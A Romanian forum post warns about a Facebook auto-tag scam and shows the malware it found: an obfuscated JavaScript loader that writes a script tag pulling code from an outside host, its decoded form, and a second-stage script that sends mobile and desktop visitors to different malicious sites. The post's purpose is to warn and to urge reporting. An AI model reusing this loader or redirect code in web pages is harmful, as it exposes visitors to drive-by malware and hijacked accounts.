Inca un virus distribuit pe facebook prin autotag la toti prietenii din lista.
Cel putin 10 prieteni din lista mea au postat acelasi lucru in ultima jumate de ora. Am raportat toate postarile.
Link din postare duce catre
Si contine acest code java script.
Decode javascript
Link din decode javascript contine acest code.
Cand vedeti astfel de postari pe facebook, imediat trimiteti raport, alegeti spam, apoi contul X a fost compromis si trimite raport.
Cel putin 10 prieteni din lista mea au postat acelasi lucru in ultima jumate de ora. Am raportat toate postarile.
NU ACCESATI LINK DIN ASTFEL DE POSTARI PE FACEBOOK, SAU ALTA RETEA SOCIALA.
Link din postare duce catre
Cod:
view-source:http://salsa.blob.core.windows.net/c5627d216fbfd/d4f8ec1860271de?video
Si contine acest code java script.
Cod:
text/javascript">var ccewbnlknajzfwkfwfxaqwekf = document; ccewbnlknajzfwkfwfxaqwekf.write(unescape("%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6E%67%65%63%65%73%2E%63%6F%6D%2F%72%65%64%69%72%65%63%74%2E%70%68%70%3F%38%32%63%39%39%62%65%36%22%3E%3C%2F%73%63%72%69%70%74%3E"));</script>
<script type="text/javascript
Decode javascript
Cod:
text/javascript">var ccewbnlknajzfwkfwfxaqwekf = document; ccewbnlknajzfwkfwfxaqwekf.write(unescape("<script type="text/javascript" src="http://ngeces.com/redirect.php?82c99be6"></script>"));</script>
<script type="text/javascript
Link din decode javascript contine acest code.
Cod:
(function(a, b, c) {
if (/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i.test(a) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0, 4))) {window.location = b }else{ window.location = c
}
})(navigator.userAgent || navigator.vendor || window.opera, 'http://superhottube.info/mobil.html', 'http://lgg3inarow.com/'+Math.floor(Math.random() * 99999999));
Cand vedeti astfel de postari pe facebook, imediat trimiteti raport, alegeti spam, apoi contul X a fost compromis si trimite raport.